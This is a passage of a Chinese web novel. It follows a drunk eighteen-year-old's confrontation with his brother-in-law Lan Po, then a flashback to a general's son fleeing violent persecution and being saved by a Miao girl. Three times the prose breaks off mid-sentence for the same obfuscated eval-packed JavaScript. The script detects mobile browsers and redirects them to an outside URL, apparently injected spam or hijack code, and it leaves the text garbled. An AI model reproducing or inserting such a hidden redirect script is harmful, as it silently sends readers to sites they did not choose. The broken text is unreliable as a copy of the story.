后来时间来不及,他只能把书一本本塞回去赶紧来拍卖会。路上他又想起白希利的字条,说手帕主人就在这附近。白希利当然只是为了勾引项廷过来,他正在基金会对面办派对,请了一卡车刚从T台上下来的男模,让项廷来见见世面,开窍,往同性恋这边靠靠。 项廷早先也当无稽之谈,可现在书本所闻,亲眼所见,加上白谟玺的恼羞成怒,白希利的言之凿凿,明摆着的事实,真相的简单程度超过了项廷的理解能力。 猛的一下,项廷变作空壳一个,万有都虚无了。 小舅子虽然放开了自己的手,但他看着真的不太妙的样子。蓝珀担忧地皱起眉来,把手在他眼前挥挥:“认得么?我是你姐夫。” 项廷放空:“你不是。” 蓝珀说:“走吧。” 项廷目空一切:“去哪,我哪也不去了。” 蓝珀说:“去医院呀!” 项廷说:“该去医院吗,时间到了,你不该去煲煲好收拾卫生了。” “哦?臭小孩,你到我这里唱大戏来了,你不要给我哇哇叫。”蓝珀脸色一变,但是感觉小事一桩,瞒下去也没有什么必要,“我去秦老板的店里吃饭,正好检查卫生不过关,看不下去,就随手找了几个清洁工帮忙弄了一下而已呀。” “手帕……” “批发的。” 蓝珀一贯的掩饰,一贯的借口粗劣。不过就算他圆得天花乱坠,项廷也听不进去半个字。 项廷在路边的台阶上坐了,抱着头,像只西瓜虫。不远处是建筑工地,如果可以,项廷想提一桶水泥过来糊脸,求得寂寞与安宁。蓝珀上前推推他的肩膀,项廷把自己藏得更深了。蓝珀实在是莫明其妙。 虽然夜深了,行人稀少,美国文化里也有非礼勿视,但路过的至少都要停那么一两下,注目礼,好像项廷在这搞街头表演。其实主角只是蓝珀。有个小姑娘大着胆子,一片天真孺慕之色,说好想好想要和乐佩公主合影。项廷犟种,走岔道了还梗着脖子对抗狗绳,那蓝珀哪也没法儿去,也就答应小姑娘。拍完了还要拍,蓝珀说你不是照过了么?小女孩说刚刚是别人帮我照的,我拿不到照片,我可以再照一个么?就这样大家伙都来排队了。 也有人淡然经过的。那是从晚弥撒回来的教徒,嘴里还在说着:“感谢尊者为我开悟。” 项廷忽然闷声来了一句:“这就是你么。” 蓝珀以为他在接上边路人的话,卡擦卡擦的镜头下,保持半永久的微笑唇:“我是受过特别启示的人,可不是脑袋被踢过的人。” 项廷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398217|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自认为调理好了,决定站起来走两步。是的,男人的初恋一辈子只有一次,挺过去就好了。昨日就像那东流水。但是梦中情人这个词,又永远打动人。 然而刚把脑袋露出来,又看到蓝珀争奇斗艳的奇装异服,面包蟹一样的裙子,行走的反光板,那种光感水晶钻石也比不了。项廷又被刺痛了,项廷没有再往上边看,看那美感几何增长的、然而黑洞一样的脸。 项廷说:“你能不能换了。” 说到特别启示,蓝珀终于想起今晚的使命,明明跟韦德立下重誓不能有失了啊,全给不知道哪里冒出来的小舅子搅黄了!要不是时间紧,打项廷一巴掌真的不解气。真是狗狗的臭臭,走哪儿臭哪儿。 但念他大脑有损,乖得跟个蛋一样,蓝珀尽量平和地说:“在这等一会,我让我的助理来接你。” 项廷说:“换换吧。” 蓝珀近乎安抚的口吻,但是物尽其用:“换什么呀,我还有用呢。” “什么用。” 蓝珀懒得搭理,拍完最后一张照片,好言让后面的小朋友都回家去,然后就要忙去了,有些事真的过期不候。 空落落的街道就剩他们俩,刚刚转身,谁知被项廷拉住了手腕。项廷坐在地上,抬着头一眨不眨,眼珠子都不转地望着他。带着困惑的专注神情,坚持中有几分无助。蓝珀觉得他一脸白痴相。 蓝珀敲了他一个爆栗:“大人的事小孩不要问。” “我十八岁了,我不是小孩。你穿成这样,你要去找谁?” 项廷的声音不同寻常,慢,很沉,眉宇间一股凶劲,但蓝珀没有发现。兴许是华尔街的谈判桌上久了,控制全场的幻觉很重要。从事这个行业的,到达蓝珀这个生态位的,就没有一个不贪、不自信的。 蓝珀毫无危险意识地笑了笑:“我找的人你认识么?” “你,要去找那个英国人。” 蓝珀:“嗯呢。” 呢字在空中飞出一道流线,短短一霎,项廷就轻而易举把亮晶晶大泡芙一样的蓝珀,扛米袋似得扛到肩上。蓝珀竟不知何时他的英语这么好了,项廷几句话说动了路边的骑警,把蓝珀扔上一匹高头大白马,连人带马,绑回了家。 31. 优伶照月醉琵琶 项廷就像一只被吹得过大的气球,随时都可能爆破。人疯了什么都干得出来,何况是狗,有个词叫从恶如崩。真不知道什么东西会制造无烟的弹药,一点星星之火就可能刺激得他,炸了。认清了这一点以后,蓝珀没有与他发生肢体上的冲突。 蓝珀在前,项廷在后,进了家门。沉默凌驾于一切之上,他们就装着什么事也没发生。 蓝珀进了衣帽间。关上门,正准备换衣服,可外边也太安静了,安静得像项廷在部署什么恐怖行动似得。待会一出去,会不会猛一下踩到个地雷啊? 于是蓝珀说:“这衣服好像跟我作对,不肯离开我。进来帮帮我好吗?” 项廷一推开门,便见蓝珀确实一副被难缠的衣服困住了,动弹不得的态势,他自己的手有点到不了这裙子的某些地方。 项廷体会一下自己的心情,不想产生走过去的冲动。蓝珀站在那无知地张开手,建立了强大磁场。项廷面对着他,垂着眼,双手绕到他腰后去解开抽绳。外层裙子撩起,松开背后花结缎带在臀/部的系结,剥出里面的衬裙,然后先将那很多三角布形成的、一直能垂落到地上的宽大裙摆摘下来,那一堆镂空钩花亮片珠管的蕾丝也搁到一边,便露出了那略为病态惊悚,鲸骨、钢丝做成的一截束腰。 原来姐夫并不是真的体重轻得能够在空中飞行,不盈一握的纤腰失去了工具的束缚,或许也能接近几分一般男子的尺寸。 最小号的束腰扣到了最小码,显然肋骨已经过度受压,令人担忧是否从而会插破了内脏。项廷不禁想到,乱世佳人里的斯嘉丽使劲抓住床柱,要女仆拼命帮她把腰束得细一点、再细一点。 项廷迟迟不动手,冷酷地问道:“你是怎么穿上的?” 蓝珀:“魔法。” 束腰不止束腰,还起到托高乳/房的效果。故而,项廷只能定格了,目光越过蓝珀只望着他背后那面白墙:“……那你接着用魔法吧。” 蓝珀对着墙边的一面全身镜,无比熟练地一件件脱掉,剩下绸质的内衣。他在梳妆台坐下来,抽走固定高发髻的长长饰针,金色突然之间洒落,宛如太阳女神曦光初现,照彻了创世纪。 蓝珀恢复了短发的他,然后要开始卸妆了。 项廷以为他那张几乎都像刮了滑石粉的白墙一样的脸,妆厚得吓人。结果蓝珀只是拿两块棉片,各敷了敷眼睛和嘴巴。然后呢?结束了。至此,失去了西洋贵族女性的万千姿态。 而此一刻的时间仿佛被放慢了。如同回溯到了几十年前的上海滩,见了面北洋的直系也得尊一声蓝老板。十里洋场,翠羽明珰,舞榭歌台,筝堂伎馆。存着步子,走起圆场,舞起水袖,比夜里月光下的水还妖娆。下了台,他其实伶仃无告。 蓝珀乍然一抬眼,两人在镜里相视。蓝珀笑起来也是浅浅的:“真是丑呀。” 他在说自己。只有一只眼睛卸了妆,一只没有,颇有点大小眼的诙谐。蓝珀按着棉片,说:“能让我单独呆一会儿吗?我得打个小小的电话哦。” 找了费曼,密谈一番,但是这件事没那么好促成,蓝珀心态还算平稳。 一个小时后,蓝珀从浴室里出来,小舅子不见了。 蓝珀找啊找,找到沙发扶手的侧边,地上坐着一个醉鬼。两瓶酒,差不多都见底了。 蓝珀吃惊的是:“刚才你在亚超停下来,就是为了买这个?” 酒是美国进口的红星二锅头,产地北京,纯正家乡味。蓝珀拿起瓶子看了看瓶身,52度,说:“家里有的是酒呀。” 项廷的酒品不错,喝成这样也不闹,只是黯然久之。一个英气勃勃的少年,眼下只有颓唐。他反应慢了点,声音更低沉了:“你的酒有毒。” 蓝珀听笑了:“我自己也喝的。” 项廷:“跟你不熟。” 蓝珀落落大方:“我是你姐夫。” 项廷头重得像铅块,努力地摇了又摇:“凭什么是,为什么非得是……” 蓝珀本着做家长的原则,立规矩:“你是怎么买到酒的?21周岁才可以呀。” 项廷沉郁顿挫地说:“我有枪。” 像个玩笑话,给蓝珀惹笑了。 单刀直入的项廷:“那你,又是为什么穿裙子?女孩才穿啊!” “这样吗?”蓝珀拿了沙发上的一条防尘巾,落在项廷的身上,兜尿布一样把他的腰包起来,系个死结,“我就穿怎么了?现在你也穿了。” 苗家的百褶裙就是这样开着的,就像围裙围一圈后再拴起来。蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398218|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珀取了花瓶里的一支银扇草,别到项廷的耳后,一边精心打扮他,一边说:“你呢,是土命,多接近花花草草,有吉有利。” 蓝珀根本不纠结项廷的纠结,提着防尘巾上的那个死结,像操作起重机似的,把项廷往上提:“起来,地上冷。” 项廷起到一半,又坐地上了,把脸埋进沙发坐垫里:“我想死。” “再说一遍?” “让我死。” 蓝珀瞬间黑了脸,声音高了一调:“死?那太简单了,快去吧,一场大火都能烧死几万条毛毛虫,天天都有多少人死掉?家里人全没了,就那么一觉睡醒的事。可是说起来叉开腿站在那里都是一个人,那是一回事吗?你这样子,活着都让人看不起,摇的尾巴散发出一阵阵的臭,死了连个像样的墓都没有,仇家就是要把你的坟头踩到泥里去,还怕踩不下你?一个男人,手里有什么硬东西?没有就别成天要死要活。人这一辈子,能赌气?把自己一辈子赌掉了,还没触动世界的一根毫毛,你能赌气?” 姐夫一下子就进入境界了,好像国家命运人类前途都看这个小舅子了。但是项廷哪里有心聆教,他烂醉如泥,也无法摆脱心里头蹲着的那个鬼。没错,整个世界都是假冒伪劣的,九十年代,世纪之末,天忽然就翻过来了吗?找不到灵魂跳出轮回的方法,想参禅又不能入定,解忧唯有杜康。项廷晃了晃头,原来他还活着。 “你可以听不进去我和你说的话,但是基本的信息要对称。”蓝珀继续说道,“今天你偷偷跑去舞会,我还得分心照顾你,结果耽误了我自己的事。明知道你自己搞砸了,还沉着一张寡妇脸,小苦瓜,你给谁看呢? 以为你这个牛头就不能有人来摁一摁?” 蓝珀把他耳边的银扇草拿走,项廷一下就把手甩开了,脾气不小:“我先找你的!” “哦,了不起。”蓝珀把手那么优雅地一飘,竖起一根手指头,不屑于听,而且制止他说下去,“起来,我要拖地了,我还要用超大号的吸尘器。” 项廷在心中酝酿着的一股复仇之火,经过数次失败的尝试后,忽然找到了平衡。突然间,动作快过一道电光。一支白皙的凌波仙,伏入了如绸的春水里。项廷一把抓住蓝珀的手,全是酒劲和蛮力,将姐夫扑倒在了沙发上。 32. 何郎敷粉莫娇损 项廷有些不知身在何处。他感觉自己还在舞会外的台阶上,轿式的马车里头坐着一位描眉抹粉的佳人,外头则下着连绵的小雨。屋檐下的水珠嗒嗒直落在他身上,他没在乎,反而抬起头,让雨水自由自在地打在脸上,又飞溅开去,洗净尘世的烦恼,视野在水雾中渐渐迷离。他随便拉了拉衣角,在脸上一揩。他忍不住把天上来的水饮了下去,如此清甜解渴。就在这时,一片落花轻巧地落在他的唇边,好奇地品尝一口,细细咀嚼,缓缓吞咽…… 然而这一切都无关姐夫痛痒。蓝珀不能感知这份零落成泥的初恋心情,无法理解他血液里的爱情觉醒了要去追求却中道崩殂,核爆了冥冥之中少男的那个信仰存在。蓝珀奇怪地望着他,好像在看一个外星来客。 隔着薄薄的衣服,蓝珀被紧紧地压在身下,没有任一处可逃。十八岁正值龙精虎猛的时候,北美的太阳已把他的皮肤晒得太阳棕,那种蜜糖般的颜色,看上去就有用不完的力气,再加上项廷目前这个月下狼人变身的状态。 于是只能服输,反正蓝珀服不服都得服了。现在是对方一念之间,自己两重天地的地步。 蓝珀却还是那样子轻嘴薄舌地笑了:“这是想玩点什么小游戏吗?” 大丈夫报仇不过夜。项廷说:“我要抢劫你。” 蓝珀呵呵笑起来,半心半意地作出一副恰巧让人看出来的显摆:“这属于趁火打劫了吧?那,抢吧。我失去一切,把我扔到美国任何一个城市,六周后我还是会过得很滋润。我有钱、非常有钱,所以大家无论如何都会喜欢我。完全不像你,整天在家里称王称霸,专门捉弄姐夫,难怪你人缘差。像这样把喜怒都写在脸上,一辈子都不会有出息。” 心事发苦,项廷咬着牙,说:“不能这么放过你,我要报警。” 蓝珀把手比了个6,伸到项廷耳朵边,圆润的播音腔:“嘟——您好,911,恕我直言您这个点报案,多多少少有点毛躁了。算了,我怎么帮助您?” 项廷的大脑已经彻底情绪化了,想了想,真的想不出什么好说。闭上眼睛锁着眉头,仿佛被念了紧箍咒。蓝珀以为他傻嘿嘿的发疯结束,正一点点把被压在他胸膛上的手抽走,正是这个投机取巧的小动作,引得当时空气便猛然一阵燥热的摩擦。 项廷横冲直撞,捉住他的双手,一把举过头顶,牢牢压实,这下蓝珀所有的自由都被剥夺。不但如此,项廷空出来的一只手还握住了他的脸,手掌有不少茧,小了快一轮的妻弟,竟给了年长者一种掌控与安抚并存的错觉,沦为他人手中的玩物。窗外无花果树上的金翅雀唧的一声飞走了。 蓝珀慢条斯理地把脸上的手指一根根剥开,拂走,掰不开、做不到也没有一丝生气,甚至舒服地往后仰了仰,天大的意外发生也永远微风和煦,露水芬芳。你做了张牙舞爪的样子,他一点都不慌,看你像个动物。 蓝珀神色关切:“我脸上有什么脏东西吗?” “有粉。” 项廷手指拭了拭蓝珀的面庞,那脸像炖得嫩嫩的蛋,淡淡的红粉,正宗的桃花春。可是再怎么抹,一点东西也刮不下来。 见小舅子如此狂妄,真不知天高地厚山高水险地把自己推倒,不管什么头破血流的下场,貌似只为了确认一下脸上还没有搽粉,蓝珀很明显地哼了一声,似乎表示着不相信:“你对化妆这么内行,自学成才还是有私人导师?” “我妈以前,文工团的。” 项廷微闭着眼,头悠悠晃了几下。耷拉着脑袋,痛苦不堪。雾气轻缓地漂浮,雾扑到人脸上,甜美的气味,他走进了迢遥的梦一般的雾中。 好像,姐夫一直在叫着自己:“项廷,项廷,起来,起来!投降,投降,服了,服了……你属狗的?犯牲畜病了?” 项廷当真不知道自己如同躺在一张水床上,压着的那副□□又清凉又会讨人喜欢地流动,像一团蛋清,入口即化,便是他由衷讨厌的姐夫。他的手搂住了姐夫的腰,他的头低下来嘴唇在姐夫的鼻子那天真地逗留了一会儿,姐夫像山野妖精缠住他不能呼吸,最后像雷公附身一样在姐夫身上睡死了。 蓝珀捶他,浑身上下乱摸乱抓,没办法,又叫他,可现在不宜这么人性化地去思考他。可能因为项廷真的太重了,是一块死硬死硬的石头,压迫了胸腔和声道,蓝珀的声音都变得有点尖细了起来,他说不要,你这样做缺少绅士风度,但是说完以后就会提着裙子很羞涩地跑开的样子。这时若有人推门闯入家中,一定会见到一副蓝珀被年轻男孩按着猥亵的画面,蓝珀也是那里做个十分含糊半推半就的姿态。 项廷行过贴面礼,把头埋在姐夫的颈窝里,左塞右塞不硌头了,找到了最安逸的位置,他要把姐夫塞得无一些空地。又香又软,一股暖流渗到全身,到了神经末梢,四肢都松弛了,他感觉自己变成了一枚被河水温柔抚摸的鹅卵石。 “那你睡吧。”蓝珀慈忍地微微一笑,“睡着了好,见不到明天的太阳。” 项廷迷糊中听见了这话,就有一种周身的血倒着流的感觉,睁开了眼睛。 也许是因为蓝珀身上的女性因素有点太过丰富,他的头发像香桃树叶,他的嘴角微微上翘,显出调皮的意味,他的腰肢小小巧巧地收了进去,动一动都有一种韵味,他软来蛮做的忸怩姿态很自然地成了一种舞蹈的造型。 男人想在他身上解放活力,而男孩此时心里只是微微发酸:“我想我妈了……” “那你下去找她吧。”蓝珀流风回雪的从容姿态。还你妈妈呢,真当我是软柿子你随便捏的呀,再不滚下去,族谱都给你掀翻。 毫不讳言地说,项家乃开国元勋,凌烟阁二十四功臣之一。然而在一个发条不断失灵,只能持续疯转的新新社会主义社会里,跟不上速度、随时会被离心力甩出去,况这种功高震主的放在每个朝代都是眼钉肉刺,果不其然就遭中国工农红军打下马来。项父虽然捱过一劫,项母却没有获得下一个时代的船票,被三个红/小鬼活生生打死在高粱地里,一座衣冠冢都没得。 项廷不声不响了,也不像睡着了。蓝珀推了推他的肩膀,这次比较轻松就能推开。可是屋子里冷气太足,一旦不再抱着取暖了,恐怕连□□都冻得生痛。 蓝珀有种炮仗扔水里的感觉,冷着脸无所作为了一会儿,才说:“妈妈怎么了?” “不知道怎么说。” “……不知道怎么说就不要说了。” “我妈跟我说的最后一句话。咱下辈子不来了。” “不来去哪里?” “三千世界。” 自由散漫惯了,蓝珀笑出来,想了会,罢了,感觉今天发生的事情也组成了一个荒诞又说得通的世界。于是理智所不容的,感情上有了可能迁就。 蓝珀说:“还有呢?” “没有了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398219|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好男孩不可以对爸爸撒谎。” “妈妈。” “说什么呢,你!” 项廷沉住气,被敲头,但是姐夫好像打一下摸一下的。这种有节奏的恩威并施之下,项廷困了。 此时蓝珀的手机响了,起身来接。 项廷忽然说:“你是个好人。” 蓝珀回头看了他一眼,他刚起床似的,表情有点憨憨的,蓝珀看笑了。项廷忽然从背后抱住了他:“让我抱一会。” 蓝珀觉得小孩子,无厘头:“后果自负。” “什么后果?” 电话响了一下就不响了。蓝珀今夜也是太多无奈,叹一叹,说:“打烂你的屁股可以吗?” 项廷从后面拥着他,下巴搭在蓝珀的肩膀那儿,握住他的脸慢慢地转过来。他注视着这张脸,一半狐仙一半鬼。他感到自己的心脏随着原始鼓声而跳动,手心有一种发烫的感觉,手指也是麻麻的,浑身一震。 一瞬间的事,项廷好像被海量的记忆冲击到精神失常。 可这封给懵懂者的觉醒书,霎那间凋残,霎那间飞逝了。 项廷说:“我在哪见过你。” “是吗?你这么五大三粗没有礼貌的人,心思还挺细腻的。”蓝珀没有看他。 项廷脑袋发木,看着他,看着他,就忘记自己本来要干什么了,不知道怎么被蓝珀哄到了客房的床上。 蓝珀正要关掉床头灯,那灯光颇有圣母般庄严慈爱的色彩。 项廷拽着他的手不放,仿佛他在悬崖,蓝珀一松开就是撒手了。 项廷说:“你要去哪?煲煲好吗?” “嗯,宝宝好。” “我睡不着。” 蓝珀装作对这种气氛没有理解,可是又被项廷铐住,只能在床边坐了下来:“你是不是还要听摇篮曲了?” 项廷点点头。蓝珀把手似是而非地轻轻招了一下,项廷就靠过来把脸放在了他的掌心里。 蓝珀笑了说:“我都鬼迷心窍了。” “尚未生太阳,尚未诞月亮。铸日照地方,造月亮村寨。悠悠最初古时候,草草芭茅还不长,花花野菜还没生。最远古时枫树种,树种住在哪里呀?千样树种在东方,百样树种在东方。” “我们唱到枫香树,我们来赞枫香树,哪个才走到此来?哪个才来相陪伴?有个友婆老人家,友婆放养鲫鱼秧,早晨放去九对鱼,夜里就失掉九尾。鱼秧丢失哪里去?叫骂说是白枫吃。请来妹榜做理老,请来妹留做理老,你们谈情要正当,谈情偷吃我鱼秧,给她审判大枫树。” “白枫香树说什么?白枫香树这样说:各是鹭鸶与白鹤,它俩双双从东来,飞来不高也不低,来在树梢筑窝巢,在树干上生崽崽。” 苗语轻柔,秦风楚韵,情趣诙谐。可是那歌声哀婉地回响,那美丽注定成为不朽,然后死去。 唱完了歌,项廷还要听故事。 蓝珀始终带着轻松谦和的情调,说道:“很久很久以前,云雾间若隐若现着绿绸一样的梯田,弥漫着晨雾与火塘的烟香,有一个小山村。那天也像今天,顶着小雨,祭祀的大火却一连燃了九天九夜。村子里的所有人,都告诉一个小女孩:不是我们要杀你,是枫树喜欢你,是妹榜和妹留要你陪她们玩,是吉宇鸟和蝴蝶妈妈不忍心你在人世上受苦,让你别伤心,安心舔下这碗酒,甘愿被椎杀……” 33. 尾生抱柱至死休 从天津到广州的火车上,旅客们在昏暗的电灯光下打量这对母子。母亲虽然抱着男孩在小憩,却尝得到满车人赤裸裸的目光。 一位男旅客跟下铺几个人甩甩扑克,吹吹牛,喷出一口呛鼻的土烟,一边问母亲是哪单位的,来广州玩一趟嘛?又说怎么带他们逛、怎么找乐子。母亲行色匆匆,只讪讪地望向景物飞驰的窗外。男人用眼光巡睃一遍其他乘客的脸,撇撇嘴,摇摇头。 男人本打算在长沙这类大站下的,临时改了主意。只因那小男孩虽然一身宽松的棉布衣裤,一双半新不旧的虎头鞋,彻头彻尾一个小老百姓的打扮,可刚刚去上个厕所回来时,分明听到母子俩的同伙,叫那妇女,首长夫人。 这是动荡时期的某一天。在镇反、反右、大/跃进、人民公/社的大饥/荒中,一批又一批的人冒死偷渡香港。七十年代的“逃/港潮”中,几十万人翻山越岭越过边境,拼死游水,深圳河下游随潮水退落,每天都发现几十至几百具浮尸。自此,中英双方都强化了边控。 早在《五一六通知》刚发布的时候,将军一家因为是老革命、以及和胡公的同窗关系,受到胡公的保护而没遭到冲击。只是被赶出了□□,下放到河北的一个村里,名义上是疗养。起初,想去附近的工厂、农村搞点调查、研究,人家说不行。想散散步,人家说不准超过桥头警戒线。很快,岳父岳母在一家人的眼前被电杀。要逃离血腥迫害只有两条路,偷渡或者自杀。将军选定了从天津出逃的路线,并约定广州当地人接应。但通讯员带来了红/卫兵要去广州串联的消息,于是将军刻印了一份去当地煽风点火的假介绍信,目送母子二人上了一辆满载红/卫兵的火车。临行前,奶奶搂着孙子,连眼泪都不敢流,她觉得自己没资格流眼泪,是他们大人让小孩子小小年纪便遭受颠沛流离之苦。将军则叮嘱儿子,不要东张西望,更不要和陌生人说话。好在男孩十分早慧,一路上很懂事。 清晨,大喇叭里响彻激昂的无产阶级革命歌曲,男孩在车尾盥洗台的领袖巨幅肖像与标语下,用清水漱了口,用炒盐擦了牙。突然之间,响起了低沉的、整齐的、训练有素的“喂——呜——”之声,简直就像古时候的衙门升堂,紧接着,叫骂打杀传遍了整个车厢——“大军阀”、“黑司令”、“叛国贼”、“反/党分子”! 男孩只觉得忽然被抛下来了。明天就能到广东,而母子二人被迫在黔东南逃下了车。外面漆黑如墨,山地崎岖不堪。他跟着母亲高一脚低一脚没了命地逃,摔倒了不知多少次,母亲崴了脚,就用全身的力气把儿子向前推,叫他宁死也不要回头。火车轨道外是乡村,出了院子穿巷子,穿过巷子又沿着不知谁家的菜地走。是个没星星的夜晚,月亮像一小截古旧的缎带。途中遇到巡逻的民兵,但是被抓获的是躲在草丛中的另外两名偷渡者,那时到处都遍布和他们一样的逃港者;荒山野岭中遇到一农民,有的逃港者怕他告密,追上去先下手为强,“消灭”未果;又遇到带着凶猛大狼狗的边防军,但边防军居然低声喊“还不快跑”,放了他们一条生路。 四下里黑严实了,只有磷火闪烁着紫红的光芒。男孩疯跑了一阵,母亲一直没有跟上来。男孩跑回去,母亲直在地上,出气儿都不均匀,有一会没一会的,那草地热得就像刚烧过火的炕头一样。渐渐,凌晨的寒气逼上来,男孩牙齿止不住地打嘚嘚,脖子不由自主地往颈窝里退缩,他把脸往母亲的胳肢窝下凑,可竟更冷了。夜枭呕心沥血般地鸣叫起来。 熬过了几刻钟,五更的鼓声响了,那些红小鬼巡逻回来了。见到蹲在地上的男孩,红小鬼咳嗽吐痰,上上下下地瞧着他。有人要用棍棒打的,有用铡刀铡的,有用绳子勒的,有用杀猪的通条扎死的,还有的说踩住一条腿,劈另一条腿,硬能把人撕成两半,也有的人,甚是可惜不是个女孩,否则霸占过来,也能给她换换成分。各人民公/社间展开了杀人比赛,经研究决定谁家离这里近,先烧一壶开水来,就谁先浇死这男孩。 两个人跑步回家烧水去了。但是眼下神州大地哪里不是刑场,随捉随关,随提随审,随杀随埋。就有人忍不住了,审问男孩,说他既然是将军之子,要他交出“准备反攻倒算”的枪支。男孩不言语,被两皮带打倒在地。“扑”的一声,铁锹打在小腿骨头上,鲜血如同水壶往外斟水一样。打死了,好像一个烂萝卜。两人抬起男孩装在小推车上,还没推出几步又活了,男孩一挣扎掉在地上,一个人上去狠拍两铁锹,又装在车上运走了。 回村的路上,亮光又没了。“邦”的一下,红小鬼的手电筒吓得掉在地上。可是漫天的星斗忽然点亮,田野里一束清光四处跳跃,宛若一群活泼泼的小精灵。 男孩晕头涨脑地支起头,看到了,雪山包大的一匹白狼上,赤足坐着一个红衣银饰的少女。这一片巨大的流血地,恍然也被月光照软了。她信手卷起一片苇叶,随风奏起了天籁。芦笙声里,林中的鸟儿们齐齐展翅飞出,围绕着她翩翩起舞,一如是百鸟朝凤一般。 红小鬼落荒而逃,男孩便这样捡回了一条命,少女带他回了家。她的小屋依着一口山泉,四周是大片大片烈如火焰的红枫。她往他的伤口上撒上了许多石灰止血,又敷了药,炖了汤,却只字不提自己的来历,男孩却蓦地想起外祖母的话。外祖母信教,说过倘若肉/体与精神可以分离,那么精灵该如一缕无色无味的气体,冉冉上升,优游于苍穹与大地之间。男孩觉得姐姐一定就是这样一只大蝴蝶变的。 过了些时日,男孩的伤算是痊愈了。少女做了一桌丰盛的饭菜,把香猪肉和糯米一起煮,放进当地盛产的高树花椒和茴香。男孩的直觉告诉他,这不过是吃了上顿没有下顿的最后晚餐。 果然,少女说:“你的家在哪里?” 男孩从墙角露出个小脑袋瓜,看姐姐一眼又缩回去不见了,小声说:“我是偷跑出来的。” “哦,那你不想回去吗?” 男孩不假思索,握紧了小小的拳头:“当然想,我要报仇!” “好有志气哦?那我送送你?” “你……也跟我一起回去吗?” “我?”少女托着腮,微风吹动她额上的眉心坠,“我也是从家里溜出来的。” “那以后,你想去哪?” “不晓得。但只要顺着日落方向走,到了太阳居住的地方,会找到好日子的。” 男孩要她说说自己的事,一直缠她到了晚上睡觉的时候。少女把四肢伸得开开的,望着房梁上的一抹月光,声音像清水洗过一样纯净:“我和你不一样,我可是苗疆的圣女,被上界神明选中的使者。” 男孩听得如痴如醉,摇了摇她的胳膊,要她再多说一些。少女却缄口不言了,男孩就好奇,既然是大家景仰供奉的圣女,为什么又要处心积虑、千方百计地逃走呢? 少女只是笑着说:“树上都是红蚂蚁,他们还要我光着脚跳舞。” 男孩似懂非懂地点了点头。 两人约定坐次日下午的汽车,送男孩回北京。可是当天早上,变生肘腋之间。男孩一大早去山崖那打水,最洁净的水乃是从山崖上一滴一滴的滴下来,满一挑水,要个把小时。回来时,却见少女被两个少数民族服饰的大汉套上了又大又重的银冠,被架在花车上抬走了。少女看上去像被抹去了面孔,内外皆是空荡的一片。男孩飞奔上去,遭了一个窝心脚倒在满地的红叶里。 少女被带回了苗寨。 那苗寨依岭而建,坐西朝东,寨前田连阡陌,寨后群山簇拥。寨子与群山、溪水、梯田自然融为一体,参天的枫树像一把把大伞保护着世世代代的苗人。一切在悠然间透出一种混沌未凿之美丽,确实是一处被人遗忘的世外桃源,不受王化统治之地。而从建筑格局来看,却分明是一个防守森严的军事要塞。寨前石砌高坎,寨后穷崖绝谷。寨门前,两个腰间别着砍刀,头上蓄着古代的发髻,一袭黑色衣裤的武士把守着,从寨前到寨中,巷道蜿蜒蛇般延伸向村中,两边大多以青砖砌筑的封火墙作为天然屏障,没有砖墙的地方,则用当地盛产的钟乳石。那挺拔的封火墙下,又分岔出数不清的小巷连接着各家各户,小巷曲折复杂宛如迷宫。田间垄亩整齐,菜畦葱绿;吊脚楼黝黑、古老,远看就像一朵朵紧挨的蘑菇。 这已是一年后的另一个春天的深夜。农历三月十五,便是苗家的姊妹节。这天芦笙场上人山人海,别个寨子的人也来了。姑娘和小伙捧着长长短短的芦笙边吹边跳,踩芦笙到高潮处,村民们拿出了酒。老人们也加入了欢乐的队伍,小孩跟在大人们的后面。 整个寨子沸反盈天,唯有后山的温泉岭静谧如常。那温泉岭似一条巨龙从上寨的方向匍匐而来,低头找水喝。如果把温泉岭比作龙的话,那么九眼常流不息的温泉就坐落在龙头上。 月下泉中,只有一个曼妙的身影。忽的叮咚、啯的几声,岩壁上的石子滚了下来。 少女回过头,见到个小野人,当真吓了一大跳:“……你、怎么是你?” 男孩一只手攀在一块看起来就危险得要命的大石头上,欣喜万分:“姐姐,我找了你好久!你好不好?有没有人欺负你?” “……小流氓,你先把手抓好了!” 男孩虽然年纪小,但懂得男女之间有大防。姐姐在这“洗澡”,他的另只手便顾不得危险,也要把自己的眼睛挡严实了。男孩有惊无险地滑下来,坐到岸上的一个角落,背靠着一块青石,远远地不住高兴地喊:“姐姐、姐姐!” 少女实在诧异,时隔如此之久,一个小豆丁大的男孩,怎么在这天荆地棘黔东乱世之中活了下来?难道卧狼当道他就去挤狼奶喝,恶虎满山他就打虎肉吃吗? 